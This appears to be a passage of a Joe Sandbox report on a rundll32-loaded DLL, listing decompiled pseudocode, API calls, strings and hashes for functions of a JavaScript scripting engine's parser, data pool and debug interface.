Part of subcall function 1003AAC0: lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?,?,?,10064EE8,000000FF,?,1003DAEC,?,00000000,00000000,3A5D9654,?), ref: 1003AB3B
Part of subcall function 1003AAC0: lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?,?,?,10064EE8,000000FF,?,1003DAEC,?,00000000,00000000,3A5D9654,?), ref: 1003ABAB

Strings

:, xrefs: 1003CE00

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$Context@Core@@DataInfo@1@@Node@Pool@ScanString@Symbol@lget$LabelV12@lget@
String ID: :
API String ID: 2657227237-336475711
Opcode ID: 63150276840c2deaf2de63034e0cc172bb2e938d0096d862ae59d88ab14cf6f1
Instruction ID: 3d701098ab83113a3b523e9620ed393b4401ab2d590d4f4e1ed330a6720c369d
Opcode Fuzzy Hash: 63150276840c2deaf2de63034e0cc172bb2e938d0096d862ae59d88ab14cf6f1
Instruction Fuzzy Hash: 9DC11670A00604DFEB26EB65D881BAEB7E1FF41742F10802BE906DF2C1DB756A46DB51

Uniqueness

Uniqueness Score: -1.00%

Function 1000BAB0 Relevance: 14.1, APIs: 2, Strings: 6, Instructions: 129COMMON

Download Yara Rule

APIs

lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?,3A5D9654,00086E1C,?,?,?,1000E6FE,?), ref: 1000BAF0
lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?,?,?,3A5D9654,00086E1C,?,?,?,1000E6FE,?), ref: 1000BB0A

Strings

[arguments], xrefs: 1000BB83
[proto], xrefs: 1000BB63
[global], xrefs: 1000BB53
%08lx %c %4d %4d %-10ls %-16ls %ls, xrefs: 1000BC04
[workspace], xrefs: 1000BB73
[%ld], xrefs: 1000BB97

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Core@@DataPool@Script@@String@Symbol@lget
String ID: %08lx %c %4d %4d %-10ls %-16ls %ls$[%ld]$[arguments]$[global]$[proto]$[workspace]
API String ID: 1311809857-2814196117
Opcode ID: 6008a3ba0c44b259cc4e79abfdc099cf8b2abaed95787355c272bb656f315d86
Instruction ID: a0d1222fd9a8ff37559cdb576813ed8df8b721f53be10ddfbd646616d60badd2
Opcode Fuzzy Hash: 6008a3ba0c44b259cc4e79abfdc099cf8b2abaed95787355c272bb656f315d86
Instruction Fuzzy Hash: F1515D7180411ADFE718EF95CC94EFEBBB9FB56350F100119E512A3290DBB56A44CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 100172E0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

C-Code - Quality: 23%

			E100172E0(intOrPtr __ecx, intOrPtr _a4) {
				char _v8;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int _t26;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr _t36;
				intOrPtr _t38;
				intOrPtr _t40;
				intOrPtr _t59;
				intOrPtr _t62;
				signed int _t64;
				void* _t65;
				void* _t73;

				_push(0xffffffff);
				_push(0x1005fe28);
				_push( *[fs:0x0]);
				_t26 =  *0x10094144; // 0x3a5d9654
				_push(_t26 ^ _t64);
				 *[fs:0x0] =  &_v16;
				_v20 = _t65 - 0x18;
				_t59 = __ecx;
				_v28 = __ecx;
				if( *((intOrPtr*)(__ecx + 0xd0)) == 0) {
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__ecx)) + 0x3c))))();
				}
				_v36 = _t59 + 0x88;
				_t62 =  *0x1006a3b4(_a4);
				_v24 = _t62;
				if(_t62 != 0) {
					L19:
					 *[fs:0x0] = _v16;
					return _t62;
				} else {
					_t32 = _a4;
					_v8 = 0;
					_t73 = _t32 - 0x6c697665;
					if(_t73 > 0) {
						if(_t32 != 0x70617273) {
							goto L19;
						}
						_t33 =  *0x1006a1d0(0xc);
						_v32 = _t33;
						_v8 = 3;
						if(_t33 == 0) {
							L16:
							_t62 = 0;
							L17:
							_v24 = _t62;
							_v8 = 0;
							if(_t62 != 0) {
								 *0x1006a3b8(_a4, _t62);
							}
							goto L19;
						}
						_t62 = E1002A840(_t33, _t59);
						goto L17;
					}
					if(_t73 == 0) {
						_t36 =  *0x1006a1d0(0xc);
						_v32 = _t36;
						_v8 = 4;
						if(_t36 == 0) {
							goto L16;
						}
						_t62 = L1002A690(_t36, _t59);
						goto L17;
					}
					if(_t32 == 0x64656267) {
						_t38 =  *0x1006a1d0(0x18);
						_v32 = _t38;
						_v8 = 1;
						if(_t38 == 0) {
							goto L16;
						}
						_t62 = L10025EE0(_t38, _t59);
						goto L17;
					}
					if(_t32 != 0x68696c75) {
						goto L19;
					}
					_t40 =  *0x1006a1d0(0xc);
					_v32 = _t40;
					_v8 = 2;
					if(_t40 == 0) {
						goto L16;
					}
					_t62 = E1002A080(_t40, _t59);
					goto L17;
				}
			}

0x100172e3
0x100172e5
0x100172f0
0x100172f7
0x100172fe
0x10017302
0x10017308
0x1001730b
0x1001730d
0x10017318
0x1001731f
0x1001731f
0x1001732b
0x10017334
0x10017336
0x1001733b
0x1001744d
0x10017452
0x10017460
0x10017341
0x10017341
0x10017344
0x10017347
0x1001734c
0x100173cd
0x00000000
0x00000000
0x100173d1
0x100173da
0x100173dd
0x100173e3
0x100173f1
0x100173f1
0x100173f3
0x100173f3
0x100173f6
0x100173fb
0x10017405
0x10017405
0x00000000
0x100173fb
0x100173ed
0x00000000
0x100173ed
0x1001734e
0x100173a8
0x100173b1
0x100173b4
0x100173ba
0x00000000
0x00000000
0x100173c4
0x00000000
0x100173c4
0x10017355
0x10017386
0x1001738f
0x10017392
0x10017398
0x00000000
0x00000000
0x100173a2
0x00000000
0x100173a2
0x1001735c
0x00000000
0x00000000
0x10017364
0x1001736d
0x10017370
0x10017376
0x00000000
0x00000000
0x10017380
0x00000000
0x10017380

APIs

l?0HiliteAPI@ScScript@@AAE@AAVEngine@1@@Z.MAIN ref: 1001737B
l?0DebugAPI@ScScript@@AAE@AAVEngine@1@@Z.MAIN ref: 1001739D

Strings

evil, xrefs: 10017347
gbed, xrefs: 10017350
ulih, xrefs: 10017357
srap, xrefs: 100173C8

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Engine@1@@Script@@$DebugHilite
String ID: evil$gbed$srap$ulih
API String ID: 902134511-2296759926
Opcode ID: fb6121c41a87cd7653604bd7a650aebe590fca940045934817468638d6ae7e7f
Instruction ID: 789d80fee96ac33b69d98c443937eec44e7ea0fc9e31bc12518909b2c525af57
Opcode Fuzzy Hash: fb6121c41a87cd7653604bd7a650aebe590fca940045934817468638d6ae7e7f
Instruction Fuzzy Hash: 6741E371D00156DFCF10DFA9D885B9EBBF4FB05290F10413AE91AEB240DA749F809B92

Uniqueness

Uniqueness Score: -1.00%

Function 10014600 Relevance: 12.6, APIs: 3, Strings: 4, Instructions: 337
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E10014600(signed int __ecx, intOrPtr* _a4, signed int _a8) {
				char _v8;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				signed int _v24;
				char _v28;
				char _v36;
				intOrPtr _v44;
				signed int _v52;
				char _v60;
				char _v84;
				signed int _t149;
				void* _t160;
				intOrPtr _t166;
				void* _t168;
				intOrPtr _t172;
				signed int _t173;
				signed int _t183;
				signed int _t184;
				signed int _t198;
				void* _t210;
				signed int _t211;
				signed int _t249;
				void* _t280;
				intOrPtr* _t281;
				signed int _t282;
				void* _t285;
				signed int _t286;
				void* _t288;
				signed int _t289;
				intOrPtr* _t290;
				intOrPtr _t292;
				signed int _t293;
				void* _t294;
				void* _t295;

				_t295 = _t294 - 0x44;
				_t149 =  *0x10094144; // 0x3a5d9654
				 *[fs:0x0] =  &_v16;
				_v24 = __ecx;
				_v17 = 0;
				_v18 = 0;
				_v19 = 0;
				 *0x1006a220(_t149 ^ _t293, _t280, _t285, _t210,  *[fs:0x0], 0x1005f988, 0xffffffff);
				_t281 = _a4;
				_t211 = _a8;
				_t286 = 0;
				_v8 = 0;
				 *((intOrPtr*)( *((intOrPtr*)( *_t281 + 0x1c))))(_t211, 0,  &_v28);
				if( *0x1006a16c() <= 0) {
					L7:
					 *0x1006a230();
					_v8 = 1;
					_t282 =  *((intOrPtr*)( *((intOrPtr*)( *_t281 + 4))))(_t211, _t211, 0, 1, 0);
					if(_t282 == 0 || ( *(_t282 + 0xc) & 0x00000020) == 0) {
						L23:
						_a8 = 0x2000007;
						if(_t282 != 0) {
							L34:
							_a8 = 0x2000027;
							L35:
							if(_t211 < 0x20000087 || _t211 > 0x20000098) {
								if(_t211 == 0x83 || _t211 == E10003DE0("File") || _t211 == E10003DE0("Folder") || _t211 == E10003DE0("Socket")) {
									goto L41;
								} else {
									goto L42;
								}
							} else {
								L41:
								_a8 = _a8 | 0x08000000;
								L42:
								if(_v44 != 5 || _v52 == 0) {
									L53:
									_v8 = 0;
									 *0x1006a1c8();
									_v8 = 0xffffffff;
									_t160 =  *0x1006a218();
									 *[fs:0x0] = _v16;
									return _t160;
								} else {
									_t288 = 0;
									if( *0x1006a16c() <= 0) {
										L52:
										E1000E9A0(_t211,  &_v60, _a8);
										goto L53;
									}
									do {
										_t166 =  *((intOrPtr*)( *0x1006a178(_t288)));
										if(_v19 != 0 || ( *(_t166 + 0xc) & 0x00000010) != 0) {
											_t228 =  *((intOrPtr*)(_t166 + 4));
											if( *((intOrPtr*)(_t166 + 4)) != _t211) {
												_t168 = E1000E920(_a4, _t166, _t228);
												if((_a8 & 0x08000000) != 0) {
													 *(_t168 + 0x24) =  *(_t168 + 0x24) | 0x08000000;
												}
											}
										}
										_t288 = _t288 + 1;
									} while (_t288 <  *0x1006a16c());
									goto L52;
								}
							}
						}
						if(_v17 == 0 || _v18 != 0) {
							_t289 = _v24;
							_t172 = _a4;
							if(_t172 ==  *((intOrPtr*)(_t289 + 0x74))) {
								goto L53;
							}
							if(_t172 ==  *((intOrPtr*)(_t289 + 0x70))) {
								goto L53;
							}
							_t173 =  *0x1006a1d0(0x98);
							_a8 = _t173;
							_v8 = 5;
							if(_t173 == 0) {
								_t290 = 0;
							} else {
								_t290 = E1000A350(_t289, _t211);
							}
							_v8 = 1;
							 *((char*)(_t290 + 0x96)) = 1;
							 *0x1006a43c(_t290);
							_t117 = _t290 + 0x22;
							 *_t117 =  *(_t290 + 0x22) - 1;
							if( *_t117 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t290 + 0x14))))();
							}
							goto L34;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0xd4))))( &_v60, _t211, _t282, _t282);
							_push(0xfffffffe);
							 *((intOrPtr*)( *((intOrPtr*)( *((0 | _v44 != 0x00000005) - 0x00000001 & _v52) + 0x38))))();
							_v19 = 1;
							goto L35;
						}
					} else {
						if( *((intOrPtr*)(_t282 + 0x10)) == 0) {
							_v17 = 1;
							_v18 = 0;
							_t282 = 0;
							goto L23;
						}
						_t183 =  *0x1006a1d0(0xb0);
						_t295 = _t295 + 4;
						_a8 = _t183;
						_v8 = 2;
						if(_t183 == 0) {
							_t184 = 0;
						} else {
							_t184 = L10008670(_v24, _a4, _t282, _t211);
						}
						_v8 = 1;
						 *0x1006a174(_t184);
						_t249 = (0 | _v44 != 0x00000005) - 0x00000001 & _v52;
						_t39 = _t249 + 0x22;
						 *_t39 =  *((intOrPtr*)(_t249 + 0x22)) - 1;
						if( *_t39 == 0) {
							 *((intOrPtr*)( *((intOrPtr*)( *_t249 + 0x14))))();
						}
						 *((intOrPtr*)( *((intOrPtr*)( *((0 | _v44 != 0x00000005) - 0x00000001 & _v52) + 0x98))))();
						_t292 = E10012E30(_v24, (0 | _v44 != 0x00000005) - 0x00000001 & _v52);
						 *0x1006a32c(0x71, 0x40);
						_v8 = 3;
						L10009FE0(_t292);
						_push(0);
						_push( &_v84);
						_push( &_v36);
						_push(_t292);
						_v8 = 4;
						 *((intOrPtr*)( *((intOrPtr*)( *((0 | _v44 != 0x00000005) - 0x00000001 & _v52) + 0xa0))))();
						_t198 = _t211 - 0x2000008c;
						if(_t198 > 5) {
							L21:
							_v8 = 3;
							 *0x1006a1c8();
							_v8 = 1;
							 *0x1006a31c();
							goto L23;
						} else {
							switch( *((intOrPtr*)(_t198 * 4 +  &M10014A18))) {
								case 0:
									__ecx = _v24;
									 *((intOrPtr*)(_v24 + 0xdc)) = __esi;
									goto L21;
								case 1:
									__eax = 0;
									__eflags = _v44 - __ecx;
									__eax = 0 | _v44 != __ecx;
									 *((intOrPtr*)(_v24 + 0xd8)) = __esi;
									_t80 = __eax - 1; // -1
									__ecx = _t80;
									__ecx = _t80 & _v52;
									__eax = E1000C330(_t80 & _v52, __esi);
									__ecx = _v24;
									__ecx =  *(_v24 + 0xd4);
									__eax = E1000C330( *(_v24 + 0xd4), __esi);
									goto L21;
								case 2:
									goto L21;
								case 3:
									_t264 = _v24;
									 *((intOrPtr*)(_t264 + 0xf4)) = _t292;
									 *(_t264 + 0xd4) = (0 | _v44 != 0x00000005) - 0x00000001 & _v52;
									goto L21;
								case 4:
									__eax = 0;
									__eflags = _v44 - __ecx;
									0 | __eflags != 0x00000000 = (__eflags != 0) - 1;
									__eax = (__eflags != 0x00000000) - 0x00000001 & _v52;
									__eflags = __eax;
									 *(_v24 + 0xf8) = __eax;
									goto L21;
							}
						}
					}
				}
				while(_v17 == 0 && _v18 == 0) {
					_push(_t286);
					if(( *( *((intOrPtr*)( *0x1006a178())) + 0xc) & 0x00000010) == 0) {
						_v18 = 1;
					} else {
						_v17 = 1;
					}
					_t286 = _t286 + 1;
					if(_t286 <  *0x1006a16c()) {
						continue;
					}
					goto L7;
				}
				goto L7;
			}

0x10014611
0x10014617
0x10014622
0x10014628
0x1001462e
0x10014632
0x10014636
0x1001463a
0x10014640
0x10014645
0x1001464f
0x10014655
0x10014658
0x10014665
0x1001469d
0x100146a0
0x100146b5
0x100146bb
0x100146bf
0x10014846
0x10014846
0x1001484f
0x100148f4
0x100148f4
0x100148fb
0x10014901
0x10014911
0x00000000
0x00000000
0x00000000
0x00000000
0x1001494f
0x1001494f
0x1001494f
0x10014956
0x1001495a
0x100149e6
0x100149e9
0x100149ed
0x100149f6
0x100149fd
0x10014a06
0x10014a14
0x10014969
0x1001496c
0x10014976
0x100149cf
0x100149e1
0x00000000
0x100149e1
0x10014980
0x1001498e
0x10014990
0x10014998
0x1001499d
0x100149a7
0x100149b3
0x100149be
0x100149be
0x100149b3
0x1001499d
0x100149c4
0x100149cb
0x00000000
0x10014980
0x1001495a
0x10014901
0x10014859
0x10014891
0x10014894
0x1001489a
0x00000000
0x00000000
0x100148a3
0x00000000
0x00000000
0x100148ae
0x100148b7
0x100148ba
0x100148c0
0x100148cf
0x100148c2
0x100148cb
0x100148cb
0x100148d5
0x100148d9
0x100148e0
0x100148e6
0x100148e6
0x100148e9
0x100148f2
0x100148f2
0x00000000
0x10014861
0x10014873
0x1001487b
0x10014889
0x1001488b
0x00000000
0x1001488b
0x100146cf
0x100146d3
0x1001483c
0x10014840
0x10014844
0x00000000
0x10014844
0x100146de
0x100146e4
0x100146e7
0x100146ea
0x100146f0
0x10014705
0x100146f2
0x100146fe
0x100146fe
0x1001470b
0x1001470f
0x10014723
0x10014726
0x10014726
0x10014729
0x10014730
0x10014730
0x1001474a
0x10014764
0x10014766
0x10014770
0x10014774
0x1001477f
0x10014787
0x1001478b
0x1001478c
0x1001478d
0x1001479d
0x1001479f
0x100147ac
0x10014820
0x10014823
0x10014827
0x10014830
0x10014834
0x00000000
0x100147ae
0x100147ae
0x00000000
0x100147d2
0x100147d5
0x00000000
0x00000000
0x100147e0
0x100147e2
0x100147e6
0x100147e9
0x100147ef
0x100147ef
0x100147f2
0x100147f5
0x100147fa
0x100147fd
0x10014804
0x00000000
0x00000000
0x00000000
0x00000000
0x100147ba
0x100147c0
0x100147ca
0x00000000
0x00000000
0x1001480e
0x10014810
0x10014816
0x10014817
0x10014817
0x1001481a
0x00000000
0x00000000
0x100147ae
0x100147ac
0x100146bf
0x10014667
0x10014673
0x10014683
0x1001468b
0x10014685
0x10014685
0x10014685
0x10014692
0x1001469b
0x00000000
0x00000000
0x00000000
0x1001469b
0x00000000

APIs

ladd@DataPool@ScScript@@QAEHPBD@Z.MAIN(File), ref: 1001491E
ladd@DataPool@ScScript@@QAEHPBD@Z.MAIN(Folder), ref: 10014932
ladd@DataPool@ScScript@@QAEHPBD@Z.MAIN(Socket), ref: 10014946

Strings

File, xrefs: 10014919
', xrefs: 100148F4
Socket, xrefs: 10014941
Folder, xrefs: 1001492D

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: DataPool@Script@@ladd@
String ID: '$File$Folder$Socket
API String ID: 1005944317-329631084
Opcode ID: 2f72e919026ae78cc8315d7485172092a16182265cb2a11fdaa7550b390a5c70
Instruction ID: 0c8632b83d5abe11d16e3f072ca91a855af7ded8610eacaface6b202d9fa70cd
Opcode Fuzzy Hash: 2f72e919026ae78cc8315d7485172092a16182265cb2a11fdaa7550b390a5c70
Instruction Fuzzy Hash: 7DD1F370904259DFEB04DBA4C884FEEBBF5FF45344F168059E406AB2A1DB74AA80CB61

Uniqueness

Uniqueness Score: -1.00%

Function 10029480 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 227COMMON

Download Yara Rule

APIs

lsetContextLevel@DebugAPI@ScScript@@QAEXH@Z.MAIN(00000000,?,?,00000000,10062CD9,000000FF,?,10029B11,?,?), ref: 100294BE
lgetStackTrace@DebugAPI@ScScript@@QBE?AVString@ScCore@@HH@Z.MAIN(?,00000000,7FFFFFFF,?,?,?,?,?,?,10062CD9,000000FF), ref: 100295AF

Strings

%ld, xrefs: 10029535
frameinfo, xrefs: 10029660
stack, xrefs: 100295F0
@flags, xrefs: 10029544
break, xrefs: 100294DB

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: DebugScript@@$ContextCore@@Level@StackString@Trace@lgetlset
String ID: %ld$@flags$break$frameinfo$stack
API String ID: 3301846685-1247132746
Opcode ID: 603d70b1972694150609e96e39cf7b72d337cc2d013bd39456b5463a225f1507
Instruction ID: be5de9035b967368b87a119037f5532f524f293ff223efabcf78e4c5ad8d3279
Opcode Fuzzy Hash: 603d70b1972694150609e96e39cf7b72d337cc2d013bd39456b5463a225f1507
Instruction Fuzzy Hash: 9B91B271A00219DFDB00DFA8CC84BEEBBF5EF49310F104259E916A7290DBB46A44CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 1003C0D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 171
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E1003C0D0(void* __ecx, void* __edx) {
				intOrPtr _v8;
				char _v16;
				intOrPtr _v20;
				intOrPtr* _v24;
				intOrPtr _v28;
				signed int _t39;
				intOrPtr _t46;
				intOrPtr _t48;
				intOrPtr _t49;
				intOrPtr _t52;
				intOrPtr _t53;
				void* _t55;
				intOrPtr _t60;
				void* _t62;
				intOrPtr* _t64;
				void* _t70;
				void* _t71;
				void* _t91;
				intOrPtr* _t95;
				void* _t96;
				void* _t97;
				void* _t103;
				signed int _t109;
				void* _t119;

				_t91 = __edx;
				_push(0xffffffff);
				_push(E10065253);
				_push( *[fs:0x0]);
				_t39 =  *0x10094144; // 0x3a5d9654
				_push(_t39 ^ _t109);
				_t1 =  &_v16; // -16
				 *[fs:0x0] = _t1;
				_t103 = __ecx;
				E1003A9F0(__ecx, 0);
				_t95 = _t103 + 0x8c;
				_v24 = _t95;
				_t70 = _t103;
				if( *((intOrPtr*)(_t103 + 0x8c)) == 0x9b) {
					E1003A9F0(_t70, 0);
					_t71 = _t103;
					if( *_t95 == 0x9a) {
						E1003A9F0(_t71, 0);
						_t71 = _t103;
						if( *_t95 == 0x2d) {
							E1003A9F0(_t71, 0);
							_t64 =  *0x1006a1d0; // 0x87144
							_t46 =  *_t64(0x20);
							_v20 = _t46;
							_v8 = 0;
							if(_t46 == 0) {
								_v20 = 0;
							} else {
								_v20 = E10037280(_t95);
							}
							 *((intOrPtr*)(_v20 + 0x1c)) = 2;
							_v8 = 0xffffffff;
							_t48 = E10003DE0("setDefaultXMLNamespace");
							 *((intOrPtr*)(_v20 + 8)) = _t48;
							_t49 =  *_t64(0x28);
							_v28 = _t49;
							_v8 = 1;
							if(_t49 == 0) {
								_t96 = 0;
							} else {
								_t96 = E10038140(_t95);
							}
							_v8 = 0xffffffff;
							 *((intOrPtr*)(_t96 + 0x1c)) = 7;
							 *0x1006a22c(E1003E550(_t103, _t91, _t119, 0, 0));
							_t52 =  *_t64(0x28);
							_v28 = _t52;
							_v8 = 2;
							if(_t52 == 0) {
								_t97 = 0;
							} else {
								_t97 = L10037FD0(_t52, _v24, _v20, _t96);
							}
							_v8 = 0xffffffff;
							 *((intOrPtr*)(_t97 + 0x1c)) = 2;
							_t53 =  *_t64(0x24);
							_v28 = _t53;
							_v8 = 3;
							if(_t53 == 0) {
								 *0x0000001C = 1;
								 *0x00000008 = 0x68;
								 *[fs:0x0] = _v16;
								return 0;
							} else {
								_t55 = L10037F30(_t53, _v24, _t97);
								 *((intOrPtr*)(_t55 + 0x1c)) = 1;
								 *((intOrPtr*)(_t55 + 8)) = 0x68;
								 *[fs:0x0] = _v16;
								return _t55;
							}
						} else {
							_push(0x2d);
							goto L2;
						}
					} else {
						_push(0x9a);
						goto L2;
					}
				} else {
					_push(0x9b);
					L2:
					E1003AAC0(_t71, _t91);
					_t60 =  *0x1006a1d0(0x20, 0x19);
					_v28 = _t60;
					_v8 = 4;
					if(_t60 == 0) {
						 *[fs:0x0] = _v16;
						return 0;
					} else {
						_t62 = E10037280(_t95);
						 *[fs:0x0] = _v16;
						return _t62;
					}
				}
			}

0x1003c0d0
0x1003c0d3
0x1003c0d5
0x1003c0e0
0x1003c0e7
0x1003c0ee
0x1003c0ef
0x1003c0f2
0x1003c0f8
0x1003c0fc
0x1003c10b
0x1003c111
0x1003c114
0x1003c116
0x1003c15d
0x1003c168
0x1003c16a
0x1003c175
0x1003c17d
0x1003c17f
0x1003c187
0x1003c18c
0x1003c194
0x1003c199
0x1003c19e
0x1003c1a3
0x1003c1b2
0x1003c1a5
0x1003c1ad
0x1003c1ad
0x1003c1b8
0x1003c1ca
0x1003c1d1
0x1003c1db
0x1003c1de
0x1003c1e3
0x1003c1e6
0x1003c1ef
0x1003c1fd
0x1003c1f1
0x1003c1f9
0x1003c1f9
0x1003c205
0x1003c20c
0x1003c21c
0x1003c224
0x1003c229
0x1003c231
0x1003c236
0x1003c24c
0x1003c238
0x1003c248
0x1003c248
0x1003c250
0x1003c257
0x1003c25a
0x1003c25f
0x1003c262
0x1003c26b
0x1003c29b
0x1003c2a2
0x1003c2ac
0x1003c2ba
0x1003c26d
0x1003c274
0x1003c279
0x1003c280
0x1003c28a
0x1003c298
0x1003c298
0x1003c181
0x1003c181
0x00000000
0x1003c181
0x1003c16c
0x1003c16c
0x00000000
0x1003c16c
0x1003c118
0x1003c118
0x1003c11d
0x1003c11f
0x1003c126
0x1003c12f
0x1003c132
0x1003c13b
0x1003c2c0
0x1003c2ce
0x1003c141
0x1003c144
0x1003c14c
0x1003c15a
0x1003c15a
0x1003c13b

APIs

l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000009B), ref: 1003C144
l?0Node@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000009B), ref: 1003C1A8
ladd@DataPool@ScScript@@QAEHPBD@Z.MAIN(setDefaultXMLNamespace), ref: 1003C1D1
l?0ListNode@ScScript@@QAE@ABUScanInfo@1@@Z.MAIN(0000009B), ref: 1003C1F4
l?0BinaryNode@ScScript@@QAE@ABUScanInfo@1@PAVNode@1@1@Z.MAIN(?,?,00000000), ref: 1003C243
l?0UnaryNode@ScScript@@QAE@ABUScanInfo@1@PAVNode@1@@Z.MAIN(?,00000000), ref: 1003C274

Strings

setDefaultXMLNamespace, xrefs: 1003C1C5

Memory Dump Source

Source File: 00000004.00000002.400174367.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.400168918.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400246774.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400271266.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400279266.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.400284013.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$Node@Scan$Info@1@@$Info@1@$BinaryDataListNode@1@1@Node@1@@Pool@Unaryladd@
String ID: setDefaultXMLNamespace
API String ID: 2400306902-3966829243
Opcode ID: 228a17893f5845ad2af85da3168d0c6fdfb5162d8e93423f67d1611c63e49411
Instruction ID: 473fd9f73d66545a70e4125c327aa108b8b5ea4a4897b29e09dc873648cbb72e
Opcode Fuzzy Hash: 228a17893f5845ad2af85da3168d0c6fdfb5162d8e93423f67d1611c63e49411
Instruction Fuzzy Hash: 2851D2B1A003089FEB15DFA6D845B5EB7B4FB85711F10412EE909DB3C1DB75A900CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1003ECD0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 63%

			E1003ECD0() {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				void* __ecx;
				signed int _t6;
				intOrPtr* _t14;
				intOrPtr* _t21;
				signed int _t23;

				_push(0xffffffff);
				_push(0x100656f8);
				_push( *[fs:0x0]);
				_push(_t14);
				_t6 =  *0x10094144; // 0x3a5d9654
				_push(_t6 ^ _t23);
				 *[fs:0x0] =  &_v16;
				_t21 = _t14;
				_v20 = _t21;
				E10007260(_t14, "JavaScript");
				 *_t21 = 0x10070ce4;
				_v8 = 0;
				 *0x100941d4 = E10003DE0("Property");
				L10007F30(_t21, "Reflection");
				E100083E0(_t21, 0, 0x10070b80);
				 *[fs:0x0] = _v16;
				return _t21;
			}

